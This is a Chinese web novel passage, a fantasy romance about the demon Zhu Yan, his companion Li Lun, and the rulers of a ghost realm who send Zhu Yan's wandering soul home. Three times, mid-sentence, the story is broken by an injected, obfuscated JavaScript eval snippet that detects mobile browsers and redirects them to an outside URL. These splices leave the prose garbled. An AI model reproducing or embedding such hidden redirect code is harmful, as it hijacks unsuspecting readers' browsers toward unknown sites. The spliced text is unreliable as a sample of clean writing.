《梦烛遗爱 [离水行舟]》 1. 楔子(年少往事回忆篇) 大荒的天空,断断续续飘落下无数雪花片儿。 雪粒子将大荒的山彻底染白,连同院中的红梅上,都覆盖了一层未来得及化开的薄雪。 一个雪团子噌的一声,一把推开窗户。 顿时,卷雪寒风便侵入屋内,严寒彻骨,却依旧难以挡住他脸上的兴奋。 入屋的卷雪寒风,不经意将原本摆弄好的皮影小人再度吹乱。 只见那银发白衣的少年,忽而转头,对着站在他身后不远处,正摆弄着皮影小人的人,眉眼含笑说着:“阿离,快看!下雪了。” 摆弄皮影小人的人闻言,当下眉心一皱,带了几分担忧的语气:“把窗关上,你待会生病了怎么办?” 趴在窗边的银发白衣少年,双手撑脸,亮亮的眼睛目不转睛盯着天上飘落的雪,一脸兴致盎然,语气兴奋道:“我是妖,不怕的。” “听话,关上。” “哦——” 银发白衣少年一脸失落关上窗,转身小跑到那黑发玄衣的人身边。 下一秒,黑发少年指尖一动,屋内一旁的火盆内便生起了火。刚刚开窗飘进来的雪粒子,一下子就被热气给融没了。 指尖再一动,空无一物的地上顿时伸出好几根粗壮的槐树藤蔓,而另一边的皮影幕布缓缓升起,锣鼓鸣响,两个皮影小人在他术法的操控下,也开始动了起来。 台上锣鼓鸣响,台下身影交叠。 银发少年靠在黑发少年肩上,两人手牵手坐在槐树藤蔓上,聚精会神看着皮影戏,饶是银发少年先行开口打破了这喧闹。 “阿离。” “嗯。” “听说,苍梧之野的那只千年桃花妖,因为爱人死去,他殉情了。” “哦。” “离仑。” “嗯?” “你说,死去的妖,都去哪儿了?” “大荒的妖,死了就是死了。” “胡说!你给我买的那些凡间话本上,可明明不是这么说的!” 朱厌巴眨着一双漂亮的大眼睛,嘴里不停嘟囔着,反驳着黑发少年的话。 见他没有回话,起身就想走,却被他一把拉住。 “不许走。” 黑发少年伸手摸了摸他的头,将他微微凌乱的发丝理了理后,单手拿过他的雪银辫子把玩着,顺着他的话,轻声反问。 “那你跟我说说看,那凡人话本上怎么写的?” “话本上说了,死去的妖,会变成天上的日月星辰。” 被唤作离仑的少年,那双暗蓝色的深瞳里,从始至终都直勾勾地盯着眼前的银发少年,不曾离开过半秒。 想到那些无聊的凡间话本,每次经由少年之口说出总是别有那么一番趣味,离仑忍不住轻笑出声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340693|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离仑这莫名一笑,倒惹得原本正气得小脸鼓鼓的朱厌不由一愣。 “你不信我吗?可话本明明这么说的呀...” 朱厌被离仑这么一笑弄得有点莫名其妙,愈发觉得委屈,正欲起身离去。 手腕忽而被一股力道攥住,紧接着一阵天旋地转之下,两人都双双倒在槐树藤蔓上。他反被离仑压.在下方,难以动弹。 一抹冰凉的柔.软飞速落在朱厌脸颊,惹得他小脸格外发烫,顿时一片通红。 离仑看着他,一脸笑意:“你再问一次。” 朱厌一愣,露出一脸傻乎乎的呆萌表情,不由顺着他的话再次问出口:“阿离。” 离仑淡笑着回应:“嗯。我在。” 朱厌一脸乖巧,模样傻傻的重复着先前问他的问题:“你说,死去的妖,都去哪儿了?” “死去的妖,会变成天上的日月星辰。” 离仑此话一出,引得朱厌心头不由一颤,与他对视而望的眼睛顿时闪躲起来,别开了眼。 明明还是一样的话,可再从离仑口中说出,却有了一股难以言喻的不明情愫,抓挠着他的心脏。让他恍惚之间,好似觉得自己像一只误坠蛛网的蝴蝶,扑闪着无措的羽翼。 下一秒,离仑怀里抱着的人,红着小脸,咻的一声,便消失不见。 “阿厌,你去哪儿?” “回家。” 2. 不速之客 茫茫浓雾之中,一个身形佝偻,满脸褶皱,一身是血,衣衫褴褛的老者,颤颤巍巍走在看不见尽头的道上。 “朱厌,你帮我,救救他吧...” “朱厌,你为什么把他忘了呢...” “朱厌,你为何如此怯懦无能呢?” “朱厌...” 谁在说话? 这人,是在同他说话吗? 闻言,老者前进的步伐骤然一顿,而后又继续向前,漫无目的走着。 突然,一面黑漆得泛着诡异气息的高墙凭空出现,挡在了老者面前,阻断了他的前行。 老者骤然停下,犹豫了一秒后,继续动作迟缓地朝前走去。眼见要撞上那面高墙,老者却没有丝毫退缩或拐道之意。 下一秒,便见这面诡异的高墙一下子就将那人直接吞了进去。 前方上空传来一声嘶吟,勾起了老者注意,引得他抬头一望。 一眼望去,漆黑如无尽暗夜深渊的九幽鬼域,阴气森森,让人不寒而栗。 空气里飘散着愈发浓烈的生灵香味,引得九幽鬼域入口修为低下的亡魂恶魄蠢蠢欲动。 九幽鬼域的入口,原本空无一物的地方,突然凭空跳出一只虎身狮尾,额上独角,麒麟鬼足,双目皆被团团黑雾蒙住的尸兽。 尸兽朝着散发异香的所在方向怒吼一声:“大胆生灵,竟敢闯我九幽鬼域,速速离去,你不该来此地!” 撕心裂肺的鬼魂吟哮响彻九幽上空,悲怆凄阴的亡灵高歌着从老者耳边呼啸而过,震得他灵魂直疼。刺骨又凛冽的九幽阴风宛若冰冷薄刃,更是在分秒之间,便将他的肌肤刮得开裂渗血。 一阵从九幽深渊刮来的阴风,不慎吹落老者血迹斑斑的袍罩,一头乌黑漂亮的及腰长发随着落下。 明明该是皓首苍颜的老者,却拥有一头宛若上等京墨锦缎般柔软顺滑,轻盈飘逸的及腰乌丝。 两种极致的视觉冲击,重叠出现在一人身上,诡异得让人看了不由头皮发麻。 看不见东西的尸兽感受到来者并非离去,直接施法开了额间鬼眼。 没有眼白的鬼眼内,转动的诡异竖瞳,在看到来者后不由失惊起来。 九幽尸兽顿时化为一个如玉少年,支支吾吾说道:“大...大人...您怎么又来了...您是生灵,入不得这九幽。若是来多了,会折损你元神的。” 谁知,这位黑发老者丝毫没有理睬这少年,依旧默默往前走着。少年见状拦不住也不再敢动手阻拦,只能任由着他,步入九幽。 只是这人刚没走几步,一条看不见尽头,只看得见白茫茫浓雾的大路,缓缓出现在他前方。 那是亡灵踏入九幽鬼域的必经之路,冥府之路。 冥府之路被强行打开,紧接着一座被浓郁鬼气紧紧包裹住的通天大桥,发出一声震耳欲聋的巨响,大桥彻底落下。 白雾微散,细看之下,是一座由无数骷髅头和尸体残骸建造而成的通天大桥,正是九幽鬼域的第二道入口,奈何亡桥。 在奈何亡桥落地的那一刻,站在冥府之路入口的黑发老者,一瞬之间变回一名如玉少年郎。 一只鲜血淋漓,伤痕累累的赤足,动作迟缓地踏上了冥府之路,迈进了奈何亡桥。接着,不分四季的九幽鬼域,竟然下起了不曾见的鹅毛大雪。 驻守在奈何亡桥边的一团灰蒙蒙鬼雾见状,当下惊讶出声:“诶,你们看,鬼域居然下雪了。” 一旁另外一团更大更浓的鬼雾附和道:“你们闻闻!好香啊!” 鬼雾愈发兴奋起来,“好浓郁的痴念啊!我在九幽几万年了都不曾见过这种鬼。你们说,如果我把他吞了,是不是就能化出鬼形了?”说完,还变成一个胖乎乎的鬼魂模样。 “你敢乱吃魂,小心鬼后大人把你打入浮生地狱。” 被其他鬼雾这么一点破,小胖鬼雾吓得瑟瑟发抖,收起了自己的小心思。 “欸,你们快看,原来是有东西来了。” 说完,好几团大小不一的鬼雾,从漂浮着的半空陆陆续续飞到那道衣衫褴褛的身影旁,好奇地将他团团围住:“你是新来的鬼魂吗?” 鬼雾们开始七嘴八舌讨论起来:“不对不对!他可不是鬼!他的身上泛着生灵的气息,虽然若隐若现,但就是生灵的气息。你看,他只有三魂。” 一道鬼雾奶声奶气地惊呼出声,“只有三魂?那他,可还是生灵?可是生灵之人,如何能踏入我们这九幽鬼域呢?”一边说着一边还时不时靠近闻闻又嗅嗅,“别说冥府之路绝不可能为生灵打开,就算打开了,奈何亡桥也不可能落下呀!” “喂,你若是继续再往前,可就要成了鬼幽山的肥料了。” 小胖鬼雾大声喊着:“也不是人,人有三魂七魄。难道是妖?” 一道鬼雾推开大伙,拍着胸脯直言道:“不对不对,鬼主说过,他们妖是没有魂魄的。” 所有鬼雾一个个都紧捂着自己的无相脸,齐齐尖叫出声:“那他到底是什么鬼东西呀?” “喂!你到底是谁呢?你听不到我们说话吗?不可能呀,入了我们鬼域,那便能通灵亡鬼尸兽。” “喂!跟你说话呢,咋不理鬼呢?看不起我们小鬼吗?” 被四周无数鬼雾团团围着的人,丝毫没理会这些鬼对自己七嘴八舌的讨论,只是自顾自地一直往前走去。 其中一道鬼雾咻的一声冲了过来,认出了他:“欸,你们看你们看!这不是之前那个人吗?” “又是他又是他!他怎么又来了?” “喂,你还在找他吗?这么多年了还没找到他吗?” 这一次,鬼雾的发问,倒是勾起了黑发少年的注意。 话一出,漫无目的行着路的黑发少年,骤然停下前进的步伐,那双失神茫然的眼里,眼球宛若生锈般,迟缓又诡异地动了动。 又? 他来过这里吗?怎么自己不记得了? 这些小鬼雾们口中说的‘找他’,他,又是谁? 可是,黑发少年也只是停了一会,没一会便又头也不回继续往前走着。 奈何亡桥上,这人每走一步,便落下了一个带血脚印。 下一秒,落在身后的血印,便被四周虎视眈眈的亡魂鬼雾吞噬殆尽,而吞了血的亡魂鬼雾也在一瞬之间,修为大增。有些鬼雾,甚至吞完后就能化出鬼形了。 九幽禁地里,原本平静如水的聚魂鬼海,突然间电闪雷鸣,鬼海水面开始荡开一层又一层越来越强烈的涟漪。一瞬间,滔天巨浪袭卷而来,涟漪化作巨浪,格外汹涌。 一个泛着淡淡的金光符文大阵,从水里腾升而起,浮于波涛汹涌的海面上,大阵里头漂浮和盘旋着无数诡异的符文。 一声冲天嘶鸣由鬼海深渊传出,穿过海面上的金光大阵,震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340694|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得禁地内巨石纷纷砸落。 “琉璃——” 鬼海深渊沉睡着的万年大妖兽,骤然睁开那双冰蓝竖瞳。 只见这万年大妖兽通体莹白,身长百丈,莹白兽尾还卷着一颗泛着微光的京墨大珠子。 模糊记忆里,恍惚之间,妖兽好似回到数万年前的旧时光,那人一脸笑意,轻柔地唤了它:“小白!” 没一会,妖兽竖瞳内的警惕肉眼可见变得柔和,从而蜕变为喜悦。 妖兽在水里欢游了好一会后,转头俯身,轻轻用额头碰了碰尾巴卷着的那颗大珠子。可被它碰了又碰的珠子,还是一如既往毫无反应,妖兽眼中的喜悦也瞬间黯淡了几分。 九幽鬼域大殿,无殇楼内坐在主殿鬼座上的人,眉眼如画,气质超然。 藏在一身雪青宽袖衣袍下的手,一手正把玩着新收的灵器,一手单手撑额寐着双眼。一头黑至墨青的发丝随意挽起,披散至身后。 正把玩着手中新收灵器的陌离,腕上怵然一烫,惊得他手中灵器一落。 “嗯?怎么回事?” 衣袖掀开,陌离一看,腕上的灵白印记若隐若现,那双水青眼眸中疑惑转为欣喜:“几万年了,小白,居然醒了。” 感应到略微熟悉的气息,原本正在闭关的人,紫眸骤睁,不禁感慨道:“你死了三万年,他便寻了你三万年。如今,他又回到我这九幽冥川来寻你了,可如何是好?” 鬼域大殿内的陌离,起身刚准备赶去聚魂鬼海看个究竟,属下鬼将便匆匆跪地来报:“鬼后,出事了!” 鬼将的大呼小叫引得陌离不由眉心一皱:“大惊小怪的,到底发生了何事?” 跪地的鬼将抖着身子,支支吾吾着:“鬼...鬼牢...不知因何缘故,封印松动,里头关押着的邪魂恶魂...全都逃出来了,鬼牢那边现在被搅得天翻地覆一团糟!” 陌离一听,眉心皱得更紧了,眸中涌起不自觉的杀意:“召唤十八鬼将,随我前去看看。” 陌离带着十八鬼将赶到时,无垠间狱内那个悬于九幽鬼牢顶端的古法大阵,阵眼内的暗红封印早被震得分崩离析。 封印松动下的无垠间狱,鬼牢大开,鬼气横冲,原本关押着邪魂恶魂全都跑了出来,十八鬼将见状后纷纷出动,一边捉魂一边镇压。 陌离随手捏爆一个狂化的邪魂,怒问着不远处也在捉魂的镇牢冥使:“怎么回事?好端端的封印为什么会松动得如此厉害?” “殿下,里头的邪魂恶魂像是着了魔般,好似闻到了什么东西。然后就个个发狂,无比亢奋,全然不顾魂飞魄散,拼了命撞裂封印想要冲出来。” 陌离纵身一跃,飞到阵眼,咬破指尖,双手结印,指尖的血珠开始游动成阵,源源不断注入阵眼中:“以吾之念,隐血为引,合鬼之力,召九幽亡魂,鬼镇!” 一团紫雾浮于半空,紫雾之中的画面,正连接着动荡的九幽鬼牢。 一双邪魅的紫眸,目不转睛盯着画面里忙活着的身影,嘴角微勾:“你看,他的执念,强大到把我这九幽鬼牢,都震得封印松动。里头关押着的邪魂恶魂,可都逃出来了。” 接着,这人又叹了口气,慢悠悠说道:“我这九幽鬼域,因他的到来,也被搅得天翻地覆。” “如若你还在,直接把他抓回去,省得他没事,就往我这九幽鬼域瞎跑,来多了反而折损他的修为,欸——” 3. 痴情大妖 鬼牢上方的大阵,阵眼中心发出一道无比刺眼的红光,原本破裂而开的古印,在陌离的修复下,缓缓闭合上。 “剩下的,交给你们了。我去看看,到底是什么东西,敢闯我九幽鬼域!” 跪地鬼将合十朝拜:“遵命。” 陌离大袖一挥,顿时消失在原地。转眼之间,便来到了鬼域入口的鬼幽山。 一片荒芜的鬼幽山,此刻竟然冰雪覆地,白雪皑皑,上空斡旋挥翅着诸多冥鸦,迟迟不愿离去,不断嘶鸣哀啼着。 望着鬼域这莫名其妙的满天大雪与不愿离去的诸多冥鸦,陌离那双水青色的眼里满是困惑。 站在山巅之上的陌离,杀意四起,不由冷笑:“胆敢闯我九幽冥川,不请自来的客人倒是头回见。真是一个没礼貌又不可爱的亡魂啊...” 陌离摊开掌心,一面刻着复杂符文的古镜浮于掌中。伸手一挥,飘到鬼幽山半空的古镜,原本巴掌大的大小顿时变成一面几人高的巨镜,立于眼前。 “让我来看看,到底是谁的胆子这么大?竟敢趁他闭关之时,擅闯我九幽鬼域!” 下一秒,飘在半空,那一面原本暗淡无光的巨镜,咻的一声,镜子转向山脚下入口的方向,开始汲取冥府之路和奈何亡桥上残留的气息。 镜面发出一声刺耳嘶鸣,刺眼金光过后,空无一物的镜面开始出现千变万化的画面。 镜子内呈现的场景让陌离大吃一惊,九幽鬼域的冥府之路不仅被强行打开,连同奈何亡桥也一并落下。 没有获得他跟他的鬼令,冥府之路不可能被打开,奈何亡桥更不可能落下任人随意进出九幽。 镜子重新浮现一个新的画面,是一道颤颤巍巍行路的人影。 盯着镜子目不转睛的陌离,水青色的眼睛顿然一亮,不禁歪头一笑:“有趣。一个本该无情无义的妖,居然修出七情六欲,嗔痴爱恨。可真有意思...” 陌离十指结印,额间灵印折出一抹青光进入面前古镜,镜子瞬间飞速转动,再次发出嗡鸣巨响。 “他送我的这面九幽冥镜,可是能照出来者的前尘旧事。” 盯着镜面,陌离那双水青色的眼睛,带着几抹玩味的疯狂与好奇,逐渐变成流光溢彩的幽绿色泽。 “让我来看看,你到底是何人?” “又是谁...能让你生出如此强烈的嗔痴爱恨...” 九幽冥镜内,雷电交加,山崩地裂,镜面被一团团暗红血雾包裹着,难以视清一切。再一次电闪雷鸣后,红雾突然急剧斡旋,竟然卷成一个暴风火眼。 红雾火眼炸开后,漆黑之中,骤然露出成千上百只猩红血目,让人一望不寒而栗。下一刻,妖兽嘶鸣的声音,穿破镜面直冲陌离耳中,震得他连退好几步。 与此同时,妖气冲天的九幽冥镜的镜子中心,缓缓露出一张眉眼艳丽得雌雄难辨的脸。 陌离眼中飞速滑过一丝错愕,不由感叹道:“好漂亮的人啊...” “嗯?这气息有点熟悉...”等到回神过来后,陌离不由会心一笑,“原来是你啊,他口中的那个痴情大妖。” 下一秒,九幽冥镜内再度浮现出另外一个画面,波涛汹涌的水声抢先一步闯入耳中。 陌离一看,眸光微闪,竟是三万年前的九幽冥川。 站在九幽冥镜前的陌离,目不转睛盯着流动的镜面,站在鬼幽山山巅之上,许久未动。 看着镜内的前尘往事,陌离不由激动起来,一脸愤怒。 “这世间怎有如此痴傻之人?不是上古大妖吗?找不到不会回去吗?真是笨死了。” “明明什么都不记得了,明明是喜暖温阳的生灵,为何要如此固执寻那无望之人?还给自己徒落一身伤痛,真是无用!” “真是疯子!那河可是会把你的肉身跟元神吞噬殆尽的,你都不心疼心疼自己吗!” 镜里呈现的前尘往事,看得陌离愈发暴躁:“真是疯子!全都疯了!越看越生气!我不看了!” 看着镜内无动于衷,固执如初的人,藏在衣袖中的手攥得死紧,陌离简直恨铁不成钢。一怒之下,陌离直接把九幽冥镜收回袖中,转身离开鬼幽山。 回到无殇楼的陌离,暴躁地取过桌上玉杯一饮而尽,杯内的琼浆玉液顿时都索然无味了,一脸气乎乎:“什么痴情大妖!我看,就是一傻子。” 熟悉的气息不断靠近,陌离眼眸一瞥,语气一冷:“还不出来吗?” 一道轻笑从不知名地方传来,接着一个身形高大,身着绛紫华袍的男人,踏月而现。 男人走到陌离身边,忍不住伸手戳了戳他气乎乎的脸,轻笑调侃:“你见到他了?” 一听这话,陌离好不容易刚熄灭的火再度燃起:“幸好没见到!不然我得被这傻子活活气死。什么痴情大妖!我看,就是一不要命的疯子跟傻子!” 男人紫眸一沉,轻叹了一声,不禁感慨道:“你说他痴傻,说他疯癫。你殊不知,这世间,可还有人,比他傻,比他痴,比他还更不要命。” “谁呀?那可得介绍他们两人,好好认识一番才行。” 男人伸手摸了摸陌离的头,避开他的问题,轻声说道:“我刚刚去了趟鬼海。鬼海一直在翻涌,封印也有了松动之迹。” 陌离当下就被转移了注意,一脸欣喜掀开衣袖,看着手腕上若隐若现的灵白印记:“嗯。你看!小白开始苏醒了。” 早就料到的男人顺声应道:“那是自然。它盼了那么久的主人终于归来,琉璃这小灵宠自是欢喜。伽罗呢?如何?” 陌离一听,只是摇了摇头,男人也不禁安静了下来。 男人反手牵过陌离的手,十指相扣:“走,我们去看看,你口中说的那痴傻之人。” 鬼幽山上,新雪拂肩,白絮落头。 两道身影,并肩站着,一道雪青色,一道绛紫色。 陌离伸手一挥,九幽冥镜自他掌心现出,从巴掌大小变成几人高的巨镜。 镜内缓缓出现的画面,是一个衣衫褴褛,浑身是血的人。 那人身上早已褪色破损的衣裳,依稀隐约可见先前的华贵。明明是长相平庸的少年,身上却泛着一股超凡气质。长相与气质之间,如此格格不入。 陌离露出一个大吃一惊的表情:“他怎么变成这副模样?” 一旁的人倒是一点都不惊讶,娓娓道来,“大妖法力高超,可幻万千皮相。这不过是他千千万万皮相中的一副而已,”说着紫眸愈发深沉起来,“不过,他身上还有其他封印,确实一般人都无法识破,连我都看不穿。” “阿渊,小鬼们说,他的三魂,已经在这九天十地,四海八荒内,游荡了好几万年了。都已经三万年了,他又回来了。是他吗?” 看着镜内行走之人,那双鲜血淋漓,伤痕累累的赤足,陌离一脸不忍,抬眸望向身边高了他足足一个头的人。 净渊眸色阴沉得让陌离也猜不出他的心思,只是淡淡一答:“没错,是他。” 陌离一听,心头一紧,语气多了几分担忧:“那你不劝劝?好歹他也是...” 净渊先行一步,直接打断他的话:“劝不了,跟那木头一样,固执。” 净渊此话一出,陌离眸光微闪,欲言又止,“你...”沉默了好一会后还是开口道,“真的不愿帮吗?” 陌离回想起先前在九幽冥镜内看到的一切,想了又想后还是开口:“你不觉得...他们很像我们吗?” 陌离此话一出,一旁站着的人不由一愣,转而看向陌离。 九幽冥镜中看到的一切,勾起了陌离遥远的回忆,四万年前的菩提灵山,还有三万年前在暗隐之域的苍穹地宫。 只见陌离脸上,顿时肉眼可见地落寞与难过起来,净渊当下便将他搂在怀里,以示安慰。 “没事了,早过去了,别怕。” 净渊的话让陌离彻底回过神来,忍不住由感而发,“阿渊,他们很像我们,”陌离那双水青色的眼睛带着很厚重的情绪,静静地望着净渊,“只是,我跟你,比他跟他,幸运了些。” 他一开始以为,这世间万物万事,终究躲不过离不开七情六欲,镜中之事许不过是很普通的故事。 可当九幽冥镜映照出这擅闯之人在三万年前,两万年前与一万年前所做之事时,说实话,陌离也是大吃一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340695|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊。 见陌离再度出神,净渊眸色一暗,伸指勾住他的下巴,对向自己:“你一定要帮他吗?” “是。你若不帮,我来帮他。” 净渊一脸无奈,将他拥在身前,轻叹了一口气:“三万年前,他踏入这九幽鬼域之时,并无冥火缠身。” 站在鬼幽山上,净渊一身绛紫华袍随风而动,那双紫眸紧盯着镜中人,耐着性子给陌离一一解释着:“可是如今你看,三万年后重返九幽的他,却一身冥火。足见他执念不散,冥火才源源不熄。” 九幽冥火,现于亡灵,因执而生,因执而散。 心有执念,冥火不熄,燃魂烧魄,苦不堪言。 陌离自知冥火的出现并非好兆头,可内心的声音就是忍不住让他帮一帮这素不相识的人。 陌离闻言,转而一笑,驳回净渊的拒绝:“他有执念又如何,痴心又有何错?” “你跟我,伽罗跟琉璃,他跟他,哪个不是生劫易渡,情关难过?” 陌离这话一出,让一旁的净渊,不由深思起来。 的确,陌离所言甚对,竟让他无法反驳一字。 看到净渊不出声,陌离以为他还是不愿帮忙相助,微微心生怒火:“你不帮就算了。给我滚回无殇楼,今晚不准回房,我来送他回去。” ‘今晚不准回房’这句话,彻底把净渊勾回神。 净渊当下驳嘴一说:“好陌陌,我又没说不帮他呀!你可不能如此对我!长宁听到,也定不开心的...” “关长宁何时事?滚开!别妨碍我召唤九幽冥镜送他回去。” 陌离当下一听,脸色一黑,随即十指结印,口中念咒,九幽冥镜再度出现。 下一秒,那道血淋淋的身影,缓缓出现在古镜之中。 看到一身是血的人,陌离着实忍不住开口吐槽,“把自己搞成这副模样,也不怕回去吓到人。” 陌离结印念咒,九幽冥镜在他的操控下,又再次飞速转动,发出嗡鸣巨响。 镜中原本衣衫褴褛,周身带血的人瞬间变得衣着华贵,周身一尘不染,原本被术法遮挡住的容貌也恢复了原样。 镜中人太久没说过话,开口字都不成句,断断续续:“我...在...在哪儿?” “阿厌...” 好熟悉的声音,是谁在唤他? “朱厌,你帮我,救救他吧...” “你会魂飞魄散的...” “快走!” 一些奇怪又零碎的对话,陆陆续续涌入脑海,让镜中人痛苦得抱头而跪—— “朱厌。” 被唤到名字的人,身子一僵,动作迟缓地动了动身子,循声望去:“你...是谁...” “还是这张脸看着舒服,别问那么多,回去吧。” 九幽冥镜反向朝着朱厌折射出一道光,先前一直朝着九幽冥川走去的他,一瞬之间,又重新回到奈何亡桥的桥头。 冥府之路被陌离彻底召出,奈何亡桥也真正落下,在九幽冥镜的镜光引路下,朱厌的三魂,跟随着冥镜光辉,离开了九幽鬼域。 朱厌离开了鬼域,那些对他三魂念念不忘的低等小鬼们不再蠢蠢欲动,九幽鬼牢的邪魂恶魄也停止了躁动,就连鬼幽山上的冥鸦也不再嘶鸣啼叫,重新恢复宁静的九幽鬼域让陌离的心情瞬间愉悦了不少。 “欸,如此清静多了——” “嗯?怎么有点不对劲?!感觉怪怪的?” 陌离意识到不对劲后瞬间大叫起来:“不对!我差点忘了,现在的他,可只有三魂的意识!” 完了! 现在的朱厌,他只有三魂,九幽冥镜只能送走完整的生灵,朱厌意识残缺不全,估计无法将他彻底送回真正的肉身。 一旁从头到尾都没有出声的净渊见状,不由笑出声。 一脸宠溺摇了摇脑袋,望着鬼域入口突然电闪雷鸣的上空,净渊连忙安抚着陌离:“别担心。你看,有人来帮你引他的三魂回去了。” “嗯?谁?” 净渊没有回答,只是望着不远处电闪雷鸣的上空,默默一笑。 他,终于来了—— 4. 大妖苏醒 凡间,京都。 晴朗的天空突然被一道闪电劈开,上一秒还万里晴空转眼间便黑云滚滚,紧接着一场大雨随着倾盆而下。 雨势来势汹汹,路边小摊的商贩老伯一边以最快速度收摊,一边嘴里还不断念叨着:“今儿这天气,怎如此怪异呢?” 这场突如其来的大雨,倒是将京都多日以来布满灰尘的青石小路冲刷得格外干净。 只见雨势逐渐变大,出行的百姓们纷纷掩头,个个行色匆匆跑到一旁屋檐下避雨。 唯独一人例外。 淅淅沥沥的雨水,拍打在青砖铺成的路面,来来往往的诸多行人之中,伫立着一道格外显眼的身影。 伫立在路中央的少年,身姿挺拔,站立如松。 少年身着一身黑金刺绣的百兽耀纹华服,衬得他格外的雍容华贵。一头墨黑的及腰长发,被一根削成发簪模样的黄色兽骨半别住,随意垂至身后。 明明是二十出头的年纪,可少年的两鬓处,却各多了一簇略显老态的白发。 少年长了一张格外抢眼的容貌。 雌雄难辨的五官格外精致,眉眼如画,肤色白皙,一双妖艳的红瞳却失神地眺望着远方。而少年周身却诡异地泛着一股若隐若现,阴暗又湿冷的死气。 “真的是天有不测风云,今日这雨啊,下得太诡异了。”着急避雨的女娘一边小跑着,一边骂骂咧咧诉说这雨势。 眼看着即将撞上那站立在路中央一动不动的少年,可小女娘却好似不曾看到这少年,下一秒整个人竟穿过了少年,而少年依旧是无动于衷站在原地。 细看之下,才发现这俊美少年的身影,近乎透明。 突然间,青石路的正前方折射来一道光影,伫立不动的少年,下意识抬起自己发僵的手臂,挡掉这刺眼的明亮。 谁知,下一秒他便连同这光影,一起消失不见。 等到少年再度睁开眼之时,映入眼帘的不再是之前喧闹嘈杂的人间。 一眼望去的视线里,只有望不尽头的白茫茫,四周更是寂静得格外吓人。而他脚下原本踏着的青石小路,此刻也变成了一座白雾萦绕,望不尽头的桥梁。 一道略为沙哑的声音缓缓开口问道:“我...在哪儿?” 等了足足大半天,少年才勉强说出一句完整的话,开口的嗓音里,夹杂了许久不曾说话的些许嘶哑。 一道浑厚的成年男子声音,破空而应:“朱厌。” 听到回应的朱厌动作僵硬,缓慢地转过身:“你...是谁?” 可一眼望去的四周,除了白茫茫的浓雾,丝毫未见一抹人影。 望着这无尽头的通天大桥与四周白茫茫的浓雾,朱厌那双素日里总被灵动与调皮充斥着的红瞳,此刻再度失神起来,透着一股无措与茫然。 “我是谁,这不重要,”空中再次传来那道浑厚的声音,“朱厌,你的意识,在这四海八荒的天地之间,已经徘徊了足足三万多年了,是时候该醒了。” 朱厌闻声后瞳孔微缩,反应迟钝地转了转眼球,哑着声反问着:“我...意...识...徘徊...三...三万...多年...吗...” 游荡在天地之间三万多年的朱厌,太久不曾说话,只能断断续续地往外蹦着词。 一句很简单的话,朱厌得说了大半天才说完,语调也格外地奇怪。 可是,刚刚那道一直跟朱厌说话的声音,这一次,并没有回答他,直接彻底消失得无影无踪。 朱厌一脸呆滞,嘴里喃喃自语,一直重复道:“我...意...识...徘徊...三...三万...多年...吗...” 昆仑之虚,方圆八百里,高万仞。面有九井,以玉为槛。面有九门,门有开明兽守之,百神之所在。 主门昆仑之门的另一边是时光山谷,再往前便是众妖诞生之地——大荒。 地之所载,六合四海之内,皆是大荒。大荒向西,穿过苍梧之野,往前不远就是槐江谷。 妖兽汇聚的大荒,一眼望去,一片荒芜与寂凉。 隐藏在连绵不断的凶险山峰和诸多妖兽活跃之内的槐江谷,却坐落着一处与世隔绝的桃源小居。 屋外四季分明,庭院落花缤纷。 屋内景色却与屋外美景截然相反。 此刻的槐江谷小居内,光线昏暗,空气里泛着一股年久失修的陈年霉味。外头的风透过小居残破的纸窗缝隙涌入室内,一时之间,屋内陈年发霉的味道浓烈得格外呛鼻。 屋子空无一人,处处透着一股荒凉。角落各处遍布蛛网,桌椅板凳更是被一层厚厚的灰尘盖住。 往里再走,便是主卧。 在满院尽是一片昏暗漆黑之中,主卧紧闭,房门缝隙里透出的几缕若隐若现的光辉,显得格外抢眼。 屋内的床上躺着一位陷入沉睡的少年。 这人的身上,被一团蓝金交织,泛着细微红光的雾气紧紧笼罩包裹着。 一隔之壁,那是上等大妖布下的保护结界。 小居结界内的少年,整个人的肤色都泛着一股不正常的白色。那张脸竟与先前游荡在轮回桥边的少年一模一样。 轮回桥边,朱厌站在原地,双眼之中透着一股茫然,再次问道:“我...在哪儿?” “你睡着了。” “做了一个梦。” 那道先前告知朱厌意识游荡的浑厚声音,再次出现,不疾不徐地回应着朱厌的疑问。 “...可是...”朱厌沉默了好一会才慢吞吞说了这一句,“...我早就不记得了...” 下一刻,一道白光穿破白茫茫的浓雾,注入朱厌的眉心。随即,朱厌眉心便涌出一股黑红交织的诡异丝雾,源源不断注入毫无一物的半空。 过了足足小片刻,半空之中突然折射出一道刺眼金光。金光消退后,一块庞大诡异的铜盘在朱厌眼前缓缓浮现。 